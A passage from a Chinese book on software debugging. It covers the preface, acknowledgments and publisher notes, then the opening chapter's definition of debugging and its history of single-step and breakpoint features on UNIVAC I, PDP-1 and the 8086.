生或高年级本科生的。他们已经学习了程序设计、操作系统、计算机原
理等课程,阅读本书可以帮助他们把这些知识联系起来,并深入到一个
新的层次。学会使用调试器来跟踪和分析软件,可以让他们在指令一级
领悟计算机软硬件的工作方式,深入核心,掌握本质,把学到的书本知
识与计算机系统的实际情况结合起来。同时,可以提高他们的自学能
力,使他们养成乐于钻研和探索的良好习惯。软件调试是从事计算机软
硬件开发等工作的一项基本功,在学校里就掌握了这门技术,对于以后
快速适应工作岗位是大有好处的。
第五,本书是写给勇于挑战软件问题的硬件工程师和计算机用户
的。他们是软件缺欠的受害者。除了要忍受软件缺欠带来的不便之外,
有时软件生产方还将责任推卸给他们,找借口说是硬件问题或使用不当
造成的bug。使用本书的工具和方法,他们可以找到很充足的证据来为
自己说话。另外,本书的大多数内容不需要很深厚的软件背景,有基本
的计算机知识就可以读懂。
或许不属于上面5种类型的读者也可以阅读本书。比如,软件公司
或软件团队的管理者、软件方面的咨询师和培训师、大学和研究机构的
研究人员、非计算机专业的学生、自由职业者、编程爱好者、黑客,等
等。
要读懂和领会本书的内容,读者应具备以下基础。
曾经亲自参与编写程序,包括输入代码、编译,然后执行。
使用过某一种类型的调试器,用过断点、跟踪、观察变量等基本调
试功能。如果对这些功能充满了好奇并且希望了解它们是如何工作
的,则更好。
参加过某个软件开发项目,对软件工程有基本的了解,承认软件的
复杂性,认为开发一个软件产品与写一个HelloWorld程序根本不是
一回事。
尽管本书给出了一些汇编代码和C/C++代码,但是其目的只是在代
码层次直截了当地阐述问题。本书的目标不是讨论编程语言和编程技
巧,也不要求读者已经具备丰富的编程经验。
第2版说明
本书的主要内容
根据读者意见,第2版将分多卷组织。第1版中的第一篇、第二篇和第五篇包含在
卷1中,第1版中的第三篇、第四篇和第六篇将包含在后续分卷中。新的结构以卷1为
公共基础,其他分卷结合各自的平台环境深入介绍。因为结构变化较大,所以此处关
于第1版内容结构的介绍删除。
第2版说明
本书的三条线索
针对第2版的变化,关于本书线索和本书阅读方法的内容略有调整。
本书的内容是按照以下三条线索来组织的。
第一条线索是软件调试的“生态”系统(ecosystem)。
第二条线索是异常(exception)。异常是计算机系统中的一个重要
概念,出现在CPU、操作系统、编程语言、编译器、调试器等多个领
域,本书逐一对其做了解析。
第三条线索是调试器。调试器是解决软件问题非常有力的工具,它
是逐步发展到今天这个样子的。第1章介绍了单纯依赖硬件的调试方
法。第4章分析了DOS下调试器的实现方法。第7章介绍硬件仿真和基于
JTAG标准的硬件调试器。后续分卷将基于不同的操作系统平台详细介
绍调试器的工作原理和用法。另外,全书很多地方都使用了调试器输出
的结果,穿插了使用调试器解决软件问题的方法。
本书的阅读方法
本书的厚度决定了不适合一口气将它看完。以下是作者给出的阅读
建议。
下载并安装WinDBG调试器。如果你还不了解它的基本用法,那么
请先参考WinDBG的帮助文件,学会它的基本用法,能读懂栈回溯结
果。有了这个工具后,你就可以尝试本书所描述的相关调试方法,自己
在系统中探索书中提到的内容。
建议选择前面提到的三条线索中的一条来阅读。如果你有充裕的时
间,那么可以按第一条线索来阅读。如果你想深入了解异常,那么可以
按第二条线索来阅读。如果你有难题等待解决,希望快速了解基本的调
试方法,那么你可以选择第三条线索,选择阅读与调试器有关的内容。
先阅读每一篇开始处的简介,了解各篇的概况,浏览主要章节,建
立一个初步的印象。当需要时,再仔细查阅感兴趣的细节。
以上建议中,第一条是希望读者遵循的,其他建议谨供参考。
第2版说明
本书的写作方式
这是一本关于软件调试的书,同时它的大多数内容也是依靠软件调
试技术来探索得到的。在作者使用的计算机系统中,一个名为Toolbox
的文件夹下保存了100多个不同功能的工具软件。当然,使用最多的还
是调试器。书中给出的大多数栈回溯结果是使用WinDBG调试器产生
的。
写作本书的一个基本原则是首先从有代表性的实例出发,然后从这
个实例推广到其他情况和一般规律。例如,在CPU方面作者选择的是
IA-32 CPU;在操作系统方面选择NT系列的Windows操作系统;在编译
器方面选择的是Visual Studio系列;在调试器方面选择的是Visual Studio
内置的调试器和WinDBG。
本书的示例、工具和代码可以从高端调试网站(advdbg.org)免费
下载,单击该网站左下方的“特别链接”中的《软件调试》即可。
第2版的电子资源网站为advdbg.org网站。
尽管作者和编辑已经尽了最大努力,但是本书中仍然可能存在这样
那样的疏漏,欢迎读者通过上面的网站反馈给我们。
第2版说明
关于封面
人们遇到百思不得其解或者难以解释清楚的问题时可能不由自主地
说:“见鬼了。”在软件开发和调试中也时常有这样的情况。钟馗是传说
中的“捉鬼”能手,因此我们选取他作为本书的封面人物,希望这本书能
够帮助读者轻松化解“见鬼了”这样的复杂问题。
第1版书出版后某月,在上海长风公园偶然购得一幅皮影材质的钟馗画像,拿回
家后把它装在玻璃镜框中,尺寸大约为50cm×38cm。在英特尔公司工作的几年里,这
幅画一直挂在我的办公桌前。
免责声明
本书的内容完全是作者本人的观点,不代表任何公司和单位。你可
以自由地使用本书的示例代码和附属工具,但是作者不对因使用本书内
容和附带资料而导致的任何直接和间接后果承担任何责任。
第2版说明
第2版说明
致谢
倏忽之间,十年过去了,重读这个致谢名单,一个个熟悉的面孔浮现在眼前。时
光流转,真情不变,对各位朋友的感激之情永存我心。
首先感谢Jack B. Dennis教授,他向我讲述了大型机时代的编程环境
和调试方法以及他和Thomas G. Stockman为TX-0计算机编写FLIT调试器
的经过,并专门为本书撰写了短文“历史回眸”。FLIT调试器是作者追溯
到的最早的调试器程序。
感谢Windows领域的著名专家David Solomon先生,他回答了我的很
多提问,并为本书第1版写了推荐序。
因为David Solomon先生所写推荐序主要与Windows系统有关,所以把该推荐序放
到了本书后续分卷中。
感谢《Showstopper》一书的作者Greg Pascal Zachary先生,他允许
我引用他书中的内容和该书的照片。
感谢CPU和计算机硬件方面的权威Tom Shanley先生,他在计算机
领域的著作有十几本,他关于IA-32架构方面的培训享誉全球。感谢他
允许我在本书中使用他绘制的关于CPU寄存器的大幅插图(因篇幅所限
最终没有使用)。
探索Windows调试子系统让我感受到了软件之美,创造这种美感的
一个主要技术专家便是Mark Lucovsky先生,感谢他在邮件中给予我的
鼓励。
感谢DOS之父Tim Paterson先生,他向我介绍了他编写8086 Monitor
的经过,并允许我使用这个调试器程序的源代码。
第2版说明
第2版说明
感谢Syser调试器的作者吴岩峰先生,我们多次讨论了如何在单机
上实现内核调试的技术细节,他始终关心着本书的进度。
感谢我的老板和同事,他们是:Kenny、Michael、Feng、Adam、
Jim、Neal、Harold、Cui Yi、Keping、Eric、Yu、Wei、Min、Fred、
Rick、Shirley、Vivian、Luke、Caleb、Christina和Starry(请原谅,我无
法列出所有名字)。
感谢我的好朋友刘伟力,我们一起加班解决了一个大bug后,他感
慨地说“断点真神奇”,这句话让我产生了写作本书的念头。
感谢曾华军(我们共同翻译了《机器学习》)与李妍帮助我翻译了
Jack B. Dennis为本书写的“历史回眸”和David Solomon为本书第1版写的
推荐序。
感谢以下朋友阅读了本书的草稿,提出了很多宝贵的意见:王毅
鹏、王宇、施佳、夏桅、周祥、李晓宁、侯伟和吴巍。
以下朋友帮助检查了第2版卷1的初稿,在此表示感谢!
感谢谭添升、彭广杰、郁丛祥、邹冠群、卜道成、金睿、Yajun Yang、张耀欣和
黎小红。
感谢本书第1版的编辑周筠和陈元玉,感谢两位编辑对我的一贯支
持,以及编辑本书所花费的大量时间。感谢本书第1版美术编辑胡文
佳,她的精心设计让本书的封面如此美丽。
特别感谢人民邮电出版社为本书安排强大的编辑团队:陈冀康、谢晓芳、吴晋
瑜,他们出色的工作让我非常感动。也要感谢我的好朋友张文杰,他为本书第2版精
心绘制了很多幅插图。
感谢我的家人,在写作本书的漫长而且看似没有尽头的日子里,她
们承担了繁重的家务,让我有时间完成本书。
最后,感谢你阅读本书,并希望你能从中受益!
张银奎(Raymond Zhang)
2008年4月于上海
2018年7月26日更新于上海863软件园
资源与支持
本书由异步社区出品,社区(https://www.epubit.com/)为您提供相
关资源和后续服务。
配套资源
本书提供如下资源:
本书源代码;
书中彩图文件。
要获得以上配套资源,请在异步社区本书页面中点击
,跳
转到下载界面,按提示进行操作即可。注意:为保证购书读者的权益,
该操作会给出相关提示,要求输入提取码进行验证。
如果您是教师,希望获得教学配套资源,请在社区本书页面中直接
联系本书的责任编辑。
提交勘误
作者和编辑尽最大努力来确保书中内容的准确性,但难免会存在疏
漏。欢迎您将发现的问题反馈给我们,帮助我们提升图书的质量。
当您发现错误时,请登录异步社区,按书名搜索,进入本书页面,
点击“提交勘误”,输入勘误信息,点击“提交”按钮即可。本书的作者和
编辑会对您提交的勘误进行审核,确认并接受后,您将获赠异步社区的
100积分。积分可用于在异步社区兑换优惠券、样书或奖品。
与我们联系
我们的联系邮箱是[email protected]。
如果您对本书有任何疑问或建议,请您发邮件给我们,并请在邮件
标题中注明本书书名,以便我们更高效地做出反馈。
如果您有兴趣出版图书、录制教学视频,或者参与图书翻译、技术
审校等工作,可以发邮件给我们;有意出版图书的作者也可以到异步社
区在线提交投稿(直接访问www.epubit.com/selfpublish/submission即
可)。
如果您是学校、培训机构或企业,想批量购买本书或异步社区出版
的其他图书,也可以发邮件给我们。
如果您在网上发现有针对异步社区出品图书的各种形式的盗版行
为,包括对图书全部或部分内容的非授权传播,请您将怀疑有侵权行为
的链接发邮件给我们。您的这一举动是对作者权益的保护,也是我们持
续为您提供有价值的内容的动力之源。
关于异步社区和异步图书
“异步社区”是人民邮电出版社旗下IT专业图书社区,致力于出版精
品IT技术图书和相关学习产品,为作译者提供优质出版服务。异步社区
创办于2015年8月,提供大量精品IT技术图书和电子书,以及高品质技
术文章和视频课程。更多详情请访问异步社区官网
https://www.epubit.com。
“异步图书”是由异步社区编辑团队策划出版的精品IT专业图书的品
牌,依托于人民邮电出版社近30年的计算机图书出版积累和专业编辑团
队,相关图书在封面上印有异步图书的LOGO。异步图书的出版领域包
括软件开发、大数据、AI、测试、前端、网络技术等。
异步社区
微信服务号
第一篇 绪 论
1955年,一家名为Computer Usage Corporation(CUC)的公司诞生
了,它是世界上第一家专门从事软件开发和服务的公司。CUC公司的创
始人是Elmer Kubie和John W. Sheldon,他们都在IBM工作过。他们从当
时计算机硬件的迅速发展中看到了软件方面所潜在的机遇。CUC的诞生
标志着一个新兴的产业正式起步了。
与其他产业相比,软件产业的发展速度是惊人的。短短60余年后,
我们已经难以统计世界上共有多少家软件公司,只知道这一定是一个很
庞大的数字,而且这个数字还在不断增大。与此同时,软件产品的数量
也达到了难以统计的程度,各种各样的软件已经渗透到人类生产和生活
的各个领域,越来越多的人开始依赖软件工作和生活。
与传统的产品相比,软件产品具有根本的不同,其生产过程也有着
根本的差异。在开发软件的整个过程中,存在非常多的不确定性因素。
在一个软件真正完成之前,它的完成日期是很难预计的。很多软件项目
都经历了多次的延期,还有很多中途夭折了。直到今天,人们还没有找
到一种有效的方法来控制软件的生产过程。导致软件生产难以控制的根
本原因是源自软件本身的复杂性。一个软件的规模越大,它的复杂度也
越高。
简单来说,软件是程序(program)和文档(document)的集合,
程序的核心内容便是按一定顺序排列的一系列指令(instruction)。如
果把每个指令看作一块积木,那么软件开发就是使用这些积木修建一个
让CPU(中央处理器)在其中运行的交通系统。这个系统中有很多条不
同特征的道路(函数)。有些道路只允许一辆车在上面行驶,一辆车驶
出后另一辆才能进入;有些道路可以让无数辆车同时在上面行驶。这些
道路都是单行道,只可以沿一个方向行驶。在这些道路之间,除了明确
的入口(entry)和出口(exit)之外,还可以通过中断和异常等机制从
一条路飞越到另一条,再由另一条飞转到第三条或直接飞回到第一条。
在这个系统中行驶的车辆也很特殊,它们速度很快,而且“无人驾驶”,
完全不知道会跑到哪里,唯一的原则就是驶入一条路便沿着它向前
跑……
如果说软件的执行过程就像是CPU在无数条道路(指令流)间飞
奔,那么开发软件的过程就是设计和构建这个交通网络的过程。其基本
目标是要让CPU在这个网络中奔跑时可以完成需求(requirement)中所
定义的功能。对这个网络的其他要求通常还有可靠(reliable)、灵活
(flexible)、健壮(robust)和易于维护(maintainable),开发者通过
简单的改造就能让其他类型的车辆(CPU)在上面行驶(portable)
……
开发一个满足以上要求的软件系统不是一件简单的事,通常需要经
历分析(analysis)、设计(design)、编码(code)和测试(test)等多
个环节。通过测试并发布(release)后,还需要维护(maintain)和支
持(support)工作。在以上环节中,每一步都可能遇到这样那样的技术
难题。
在软件世界中,螺丝刀、万用表等传统的探测工具和修理工具都不
再适用了,取而代之的是以调试器为核心的各种软件调试(software
debugging)工具。
软件调试的基本手段有断点、单步执行、栈回溯等,其初衷就是跟
踪和记录CPU执行软件的过程,把动态的瞬间“凝固”下来,以供检查和
分析。
软件调试的基本目标是定位软件中存在的设计错误(bug)。但除
此之外,软件调试技术和工具还有很多其他用途,比如分析软件的工作
原理、分析系统崩溃、辅助解决系统和硬件问题等。
综上所述,软件是通过指令的组合来指挥硬件,既简单又复杂,是
个充满神秘与挑战的世界。而软件调试是帮助人们探索和征服这个神秘
世界的有力工具。
第1章 软件调试基础
著名的计算机科学家布莱恩·柯林汉(Brian Kernighan)说过,“软
件调试要比编写代码困难一倍,如果你发挥了最大才智编写代码,那么
你的智商便不足以调试它。”
此外,软件调试是软件开发和维护中非常繁重的一项任务,几乎在
软件生命周期的每个阶段,都有很多问题需要调试。
一方面是难度很高,另一方面是任务很多。因此,在一个典型的软
件团队中,花费在软件调试上的人力和时间通常是很可观的。据不完全
统计,一半以上的软件工程师把一半以上的时间用在软件调试上。很多
时候,调试一个软件问题可能就需要几天乃至几周的时间。从这个角度
来看,提高软件工程师的调试效率对于提高软件团队的工作效率有着重
要意义。
本书旨在从多个角度和多个层次解析软件调试的原理、方法和技
巧。在深入介绍这些内容之前,本章将做一个概括性的介绍,让读者了
解一个简单的全貌,为阅读后面的章节做准备。
1.1 简介
本节首先给出软件调试的解释性定义,然后介绍软件调试的基本过
程。
1.1.1 定义
什么是软件调试?我们不妨从英文的原词software debug说起。
debug是在bug一词前面加上词头de,意思是分离和去除bug。
bug的本意就是“昆虫”,但早在19世纪时,人们就开始用这个词来
描述电子设备中的设计缺欠。著名发明家托马斯·阿尔瓦·爱迪生(1847
—1931)就用这个词来描述电路方面的设计错误。
关于bug一词在计算机方面的应用,业内流传着一个有趣的故事。
20世纪40年代,当时的电子计算机体积非常庞大,数量也非常少,主要
用在军事领域。1944年制造完成的Mark I、1946年2月开始运行的
ENIAC(Electronic Numerical Integrator and Computer)和1947年完成的
Mark II是其中赫赫有名的几台。Mark I是由哈佛大学的Howard Aiken教
授设计,由IBM公司制造的。Mark II是由美国海军出资制造的。与使用
电子管制造的ENIAC不同,Mark I和Mark II主要是用开关和继电器制造
的。另外,Mark I和Mark II都是从纸带或磁带上读取指令并执行的,因
此它们不属于从内存读取和执行指令的存储程序计算机(stored-program
computer)。
1947年9月9日,当人们测试Mark II计算机时,它突然发生了故障。
经过几个小时的检查后,工作人员发现一只飞蛾被打死在面板F的第70
号继电器中。取出这只飞蛾后,计算机便恢复了正常。当时为Mark II计
算机工作的著名女科学家Grace Hopper将这只飞蛾粘贴到了当天的工作
手册中(见图1-1),并在上面加了一行注释——“First actual case of bug
being found”,当时的时间是15:45。随着这个故事的广为流传,越来越
多的人开始用bug一词来指代计算机中的设计错误,并把Grace Hopper登
记的那只飞蛾看作计算机历史上第一个记录于文档(documented)中的
bug。
图1-1 计算机历史上第一个记录于文档中的bug
在bug一词广泛使用后,人们自然地开始用debug这个词来泛指排除
错误的过程。关于谁最先创造和使用了这个词,目前还没有公认的说
法,但可以肯定的是,Grace Hopper在20世纪50年代发表的很多论文中
就已频繁使用这个词了。因此可以肯定地说,在20世纪50年代,人们已
经开始用这个词来表达软件调试这一含义,而且一直延续到了今天。
尽管从字面上看,debug的直接意思就是去除bug,但它实际上包含
了寻找和定位bug。因为去除bug的前提是要找到bug,如何找到bug大都
比发现后去除它要难得多。而且,随着计算机系统的发展,软件调试已
经变得越来越不像在继电器间“捉虫”那样轻而易举了。因此,在我国台
湾地区,人们把software debug翻译为“软件侦错”。这个翻译没有按照英
文原词直译,超越了单指“去除”的原意,融入了“侦查”的含义,是个很
不错的意译。
在我国,我们通常将software debug翻译为“软件调试”,泛指重现软
件故障(failure)、定位故障根源并最终解决软件问题的过程。这种理
解与英语文献中对software debug的深层解释也是一致的,如《微软计算
机综合词典》(第5版)对debug一词的解释是:
debug vb. To detect, locate, and correct logical or syntactical errors in a
program or malfunctions in hardware.
对软件调试另一种更宽泛的解释是指使用调试工具求解各种软件问
题的过程,例如跟踪软件的执行过程,探索软件本身或与其配套的其他
软件,或者硬件系统的工作原理等,这些过程有可能是为了去除软件缺
欠,也可能不是。
1.1.2 基本过程
尽管取出那只飞蛾非常轻松,但为了找到它还是耗费了几个小时的
时间。因此,软件调试从一开始实际上就包含了定位错误和去除错误这
两个基本步骤。进一步讲,一个完整的软件调试过程是图1-2所示的循
环过程,它由以下几个步骤组成。
图1-2 软件调试过程
第一,重现故障,通常是在用于调试的系统上重复导致故障的步
骤,使要解决的问题出现在被调试的系统中。
第二,定位根源,即综合利用各种调试工具,使用各种调试手段寻
找导致软件故障的根源(root cause)。通常测试人员报告和描述的是软
件故障所表现出的外在症状,比如界面或执行结果中所表现出的异常;
或者是与软件需求(requirement)和功能规约(function specification)
不符的地方,即所谓的软件缺欠(defect)。而这些表面的缺欠总是由
一个或多个内在因素导致的,这些内因要么是代码的行为错误,要么
是“不行为”(该做而未做)错误。定位根源就是要找到导致外在缺欠的
内因。
老雷评点
“不行为”三字应连读,本书第1版中无引号,有读者断句
为“要么-是不-行为”,问我“是不”是否该为“不是”。在此致谢。
第三,探索和实现解决方案,即根据找到的故障根源、资源情况、
紧迫程度等设计和实现解决方案。
第四,验证方案,在目标环境中测试方案的有效性,又称为回归
(regress)测试。如果问题已经解决,那么就可以关闭问题;如果没有
解决,则回到第三步调整和修改解决方案。
在以上各步骤中,定位根源常常是最困难也是最关键的步骤,它是
软件调试过程的核心。如果没有找到故障根源,那么解决方案便很可能
是隔靴搔痒或者头痛医脚,有时似乎缓解了问题,但事实上没有彻底解
决问题,甚至是白白浪费时间。
1.2 基本特征
1.1节介绍了软件调试的定义和基本过程。本节将进一步从3个方面
介绍它的基本特征。
1.2.1 难度大
诚如Brian Kernighan先生所说的,软件调试是一项复杂度高、难度
大的任务。以下是导致这种复杂性的几个主要因素。
第一,如果把定位软件错误看作一种特殊的搜索问题,那么它通常
是个很复杂的搜索问题。首先,被搜索的目标空间是软件问题所发生的
系统,从所包含的信息量来看,这个空间通常是很庞大的,因为一个典
型的计算机系统中包含着成百上千的硬件部件和难以计数的软件模块,
每个模块又常常包含着数以百万计的指令(代码)。其次,这个搜索问
题并没有明确的目标和关键字,通常只知道不是非常明确的外在症状,
必须通过大量的分析才能逐步接近真正的内在原因。
第二,为了探寻问题的根源,很多时候必须深入到被调试模块或系
统的底层,研究内部的数据和代码。与顶层不同,底层的数据大多是以
原始形态存在的,理解和分析的难度比顶层要大。举例来说,对于顶层
看到的文字信息,在底层看到的可能只是这些文字的某种编码(ANSI
或UNICODE等)。对于代码而言,底层意味着低级语言或汇编语言甚
至机器码,因为当无法进行源代码级的调试时,我们不得不进行汇编一
级的跟踪和分析。对于通信有关的问题,底层意味着需要观察原始的通
信数据包和检查包的各个部分。另外,很多底层的数据和行为是没有文
档的,不得不做大量的跟踪和分析才能摸索出一些线索和规律。从API
的角度来看,底层意味着不仅要理解API的原型和使用方法,有时还必
须知道它内部是如何实现的、执行了哪些操作,这一点也证实了Brian
Kernighan所说的“调试要比编写代码困难”。
老雷评点
人生的境界在于高度,有高度方能俯瞰世间万物,超然物
外。软件的境界在于深度,有深度方能穿透纷纭表象,直击内
里。从业十几年中,老雷的电脑中一直有一个名叫dig的目录,
里面放着老雷最看重的文档和资料,包括《软件调试》的书稿。
表象浮华如过眼烟云,深挖、深挖再深挖,挖之弥深,意志弥
坚。
第三,因为要在一个较大的问题域内定位错误,所以要求调试者必
须有丰富的知识,熟悉问题域内的各个软硬件模块以及它们之间的协作
方式。从纵向来看,要理解系统从最上层到最下层的各个层次。从横向
来看,要理解每个层次内的各个模块。对于每个模块,不仅要知道其概
况,有时还必须深刻理解其细节。举例来说,对于那些包含驱动程序的
软件,有时必须同时进行用户态调试和内核态调试,这就要求调试者对
应用程序、操作系统和硬件都要有比较深刻的理解。
第四,每个软件调试任务都有很多特殊性,或者说很难找到两个完
全相同的调试任务。这意味着,在执行一个软件调试任务时,很难找到
可以模仿或借鉴的先例,几乎每一步都必须靠自己的探索来完成。而编
写代码和其他软件活动通常有示例代码或模板可以参考或套用。
第五,软件的大型化、层次的增多、多核和多处理器系统的普及都
令软件调试的难度增加了。
以上介绍的第一、第二、第五个因素是软件调试所固有的,第三、
第四个因素是可以随着软件技术的发展和人们对软件调试重视程度的不
断提高而改善的。
1.2.2 难以估计完成时间
就像侦破一个案件所需的日期很难确定一样,对于一个软件错误,
到底需要多久才能定位到它的根源并解决这个问题是一个很难回答的问
题。这是因为软件调试问题的问题域比较大,调试过程中包含的随机性
和不确定性很多,调试人员对问题及相关模块和系统的熟悉程度、对调
试技术的熟练程度也会加入很多不确定性。
调试任务的难以预测性经常给软件工程带来重大的麻烦,其中最常
见的便是导致项目延期。事实上,很多软件项目的延期是与无法定位和
解决存留的bug有关的。Grey Pascal Zachary[2]的著作生动地讲述了
Windows NT(3.1)内核开发中因严重bug而多次延期的故事(详见本书
后续分卷)。比NT 3.1还不幸的项目有很多,在它们被多次延期后,仍
然有大量的问题无法解决,最后因为资金等问题不得不被取消和放弃。
在现实中,很多软件难题经常成为整个项目的瓶颈,是项目团队中
所有人关注的焦点,包括市场部门和一些高级管理者。这时,对于接受
调试任务的工程师来说,除了要面对技术上的难题外,还要承受很多其
他方面的压力。这种压力有时会加快问题的解决,有时会使他们手忙脚
乱而变得效率更低。
对于如何才能更好地预测软件调试任务的完成时间,目前还没有很
有效的方法,为了降低风险,项目团队应该尽可能地让经验丰富的工程
师来做预测,并综合考虑多个人的估计结果。
老雷评点
沧海横流,方显英雄本色。面对高难的bug,当芸芸众生都
望而却步的时候,真的高手会知难而上,力挽狂澜,并因此脱颖
而出,建立起在团队中的声望。很多程序员同行常常为自己的职
业方向困惑,不知道做技术的出路在哪里,年纪大了怎么办。老
雷的经验是选择软件调试这样有难度的技术方向钻研下去,不断
提升自身的价值。调试技术不仅本身具有很强的实用性,还可以
以它作为工具快速学习其他技术,不断增强自己的技术。
1.2.3 广泛的关联性
很多调试机制是操作系统、中央处理器和调试器相互协作的复杂过
程,比如Windows本地调试中的软件断点功能通常是依赖于CPU的断点
指令(对于x86,即INT 3)的,CPU执行到断点指令时中断下来,并以
异常的方式报告给操作系统,再由操作系统将这个事件分发给调试器。
另外,软件调试与编译器有着密切的关系。软件的调试版本包含了
很多用来辅助软件调试的信息,具有更好的可调试性。调试信息中很重
要的一个部分便是调试符号,它是进行源代码级调试所必需的。
综上所述,软件调试与计算机系统的硬件核心(CPU)和软件核心
(操作系统)都有着很紧密的耦合关系,与软件生产的主要机器——编
译器也息息相关。因此,可以说软件调试具有广泛的关联性,这有时也
被称为系统性。
软件调试的广泛关联性增加了理解软件调试过程的难度,同时也导
致软件调试技术难以在短时间内迅速发展和升级。因为要开发一种新的
调试手段,通常需要硬件、操作系统和工具软件三个环节的支持,要涉
及很多厂商或组织。这也是软件调试技术滞后于其他技术的一个原因。
一般来说,对于一种新出现的软硬件技术,对应的有效软件调试技术要
滞后一段时间才出现。
从学习的角度来看,软件调试的广泛关联性使其成为让学习者达到
融会贯通境界的一种绝好途径。在基本掌握对CPU、操作系统、编译
器、编程语言等知识后,学习者可以通过学习软件调试技术和实践来加
深对这些知识的理解,并把它们联系起来。
老雷评点
无论学习什么技术或者学问,要达到融会贯通的境界,都要
付出大量辛勤的汗水。使用调试方法的好处是有针对性,生动高
效,不枯燥。比如今日要学习文件系统,那么便把断点设在文件
系统的函数上,命中后观察谁在调用它,它又去调用谁,如此坚
持不懈,“至于用力之久,而一旦豁然贯通焉,则众物之表里精
粗无不到,而吾心之全体大用无不明矣。”(朱熹语)
1.3 简要历史
计算机领域的拓荒者们在设计最初的计算机系统时,就考虑到了调
试问题——既包括如何调试系统中的硬件,又包括如何调试系统中的软
件。现代计算机是从20世纪40年代开始出现并迅速发展起来的,经历了
从大型机到小型机再到微型机的几个主要发展阶段。
关于早期大型机和小型机的原始文档已经成为珍贵的历史资料了,
大多被收藏在博物馆中。但幸运的是,在作者收集到的关于早期计算机
的有限资料中,几乎每一本都包含了关于调试的内容。这不仅是因为运
气,更是因为当时人们就非常重视调试。
本节将以大型机、小型机和微型机三个阶段中有代表性的计算机系
统为例,介绍它们实现调试功能的方式,旨在勾勒出软件调试的简要发
展历史,帮助读者了解典型软件调试功能的演进过程。
1.3.1 单步执行
UNIVAC Ⅰ(Universal Automatic ComputerⅠ)是世界上最早大规
模生产的商用现代计算机,之前的计算机都是只生产一台而且用于军事
和学术领域。从1951年开始,共有46台UNIVAC Ⅰ销售给不同的公司和
组织,每台的售价都高于100万美元,其中一些一直工作到1970年。
1952年,哥伦比亚广播公司租用UNIVAC Ⅰ准确预测出了当年美国总统
的大选结果,这不仅使UNIVAC声名大振,也使人们对计算机的功能有
了新的认识。
与需要一个楼面来安放的ENIAC相比,UNIVAC Ⅰ已经小了很多,
但整个系统仍然需要一个30多平方米的房间才能放得下。典型的
UNIVAC Ⅰ系统由主机(central computer)、磁带驱动器(名为
UNISERVO,最多可配置10台)、打印机(uniprinter)、打字机
(typewriter)、监视控制台(supervisory control)和用于维护的示波器
所组成。
在写字台大小的UNIVAC Ⅰ监视控制台上有很多指示灯和开关。其
中有一个名为Interrupted Operation Switch(IOS)的开关(见图1-3)与
软件调试有着密切的关系。
图1-3 UNIVAC Ⅰ监视控制台上的IOS开关
IOS开关共有中间和上、下、左、右5个位置,分别代表5种运行模
式。中间位置代表正常模式,在此模式下计算机会连续执行内存中的程
序指令,因此这个模式又称为连续(continuous)模式。其他4 个位置代
表不同作用的“单步”模式,分别为ONE OPERATION(上)、ONE
INSTRUCTION(下)、ONE STEP(左)和ONE ADDITION(右),
即一次执行一个操作,一次执行一条指令,一次执行一步,一次执行一
次加法运算。
当IOS开关位于4种单步模式之一时,CPU执行完一条指令或一个操
作后便会停下来,让用户检查当前的寄存器和内存状态。在检查后,只
要按键盘(监视控制台的一部分)上的开始键(START BAR),便可
以让系统继续执行。
UNIVAC Ⅰ的操作手册详细介绍了IOS开关的使用方法、如何使用
不同的模式来启动和调试程序以及诊断软硬件问题。
老雷评点
2011年9月,在位于加州山景城(Moutain View)的计算机
历史博物馆中,老雷意外看到一台UNIVAC Ⅰ 陈列在那里,上
文提到的IOS开关赫然在眼前。这让老雷几乎泫然欲泣,于是从
不同角度拍照,流连许久不忍离去。
作者不能确认在UNIVAC Ⅰ之前的计算机是否使用了类似IOS这样
的硬件开关来控制程序单步执行。但可以说,这是比较早的单步执行方
式,而且这种方式一直延续到小型机时代。在图1-4所示的著名小型机
PDP-1的控制面板照片上,右上角的3个开关中,中间一个便是SINGLE
STEP(单步),其下方是SINGLE INST(Single Instruction)(单指
令)。
1971年,Intel成功推出了世界上第一款微处理器4004,标志着计算
机开始向微型化方向发展。1978年,x86 CPU的第一代8086 CPU问世,
在其标志寄存器(FLAGS)中(见图1-5),专门设计了一个用于软件
调试的标志位,叫作TF(Trace Flag),在第8位(Bit 8)。
图1-4 PDP-1的控制面板
图1-5 8086 CPU的标志寄存器(FLAGS)
TF位主要是供调试器软件来使用的,当用户需要单步跟踪时,调试
器会设置TF位,当CPU执行完一条指令后会检查TF位,如果这个位为
1,那么便会产生一个调试异常(INT 1),目的是停止执行当前的程
序,中断到调试器中。
从上面的介绍中,我们看到了单步执行功能从专门的硬件开关向寄
存器中的一个标志位演进的过程。这种变化趋势是与计算机软硬件的总
体发展相适应的。因为在UNIVAC Ⅰ时代,还没有完善的软件环境和调
试器软件,所以使用一个专门的硬件开关是一种很合理有效的方案。在
微处理器出现的时代,软件已经大大发展起来,操作系统和调试器都已
经比较成熟,因此,使用寄存器的一个标志位来代替专门的硬件也变得
水到渠成,因为这样不仅简化了硬件设计、降低了成本,还适合让调试
器软件以程序方式控制。
1.3.2 断点指令
在UNIVAC Ⅰ的43条指令中,有一条使用逗号(,)表示的指令,
是专门用来支持断点功能的,称为逗号断点(comma breakpoint)指
令。同时,在UNIVAC Ⅰ的监视控制台上有一个名为逗号断点的两态开
关(comma breakpoint switch),如果按下这个开关,那么当计算机执
行到逗号断点指令时就会停下来,让用户检查程序状态,进行调试。如
果没有按下开关,那么计算机会将其视作跳过(skip)指令,不做任何
操作,执行后面的指令。
除了逗号断点指令,UNIVAC的打印指令50m(m为内存地址)也
可以产生断点效果。它是与监视控制台上的输出断点开关(output
breakpoint switch)配合工作的。这个开关有3个状态(位置):正常
(normal)、跳过(skip)和断点(breakpoint)。如果这个开关在正常
位置,那么执行50m指令输出内存地址m的内容;如果开关在跳过位
置,那么这条指令会被忽略;如果开关在断点位置,那么执行到这里时
计算机会中断。可见这条指令不仅实现了一种可随时开启关闭的监视点
功能,还可以根据需要停在监视点位置,这时又相当于一种外部可控的
断点。
综上所述,UNIVAC Ⅰ提供了两种断点指令,并配备了与指令协同
工作的硬件开关,实现了主要靠硬件工作的非常简朴的断点功能。这种
实现方式不需要软件调试器参与,也没有为实现软件调试器提供足够支
持。
我们再来看一下小型机PDP-1上是如何提供断点支持的。概括来
讲,PDP-1提供了一条名为jda的指令,供调试器开发者来实现断点功
能。这条指令的语法是:
jda Y
它执行的操作是将AC(Accumulator)寄存器的内容存入地址Y,
然后把程序计数器(Program Counter,相当于IP)的值放入AC寄存器,
并跳转到Y+1。利用这条指令,调试器可以这样实现断点功能。
当向某一地址设置断点时,将这一地址及其值都保存起来,并将这
一地址处的内容替换成一条jda指令。指令的操作符Y是仔细设计好
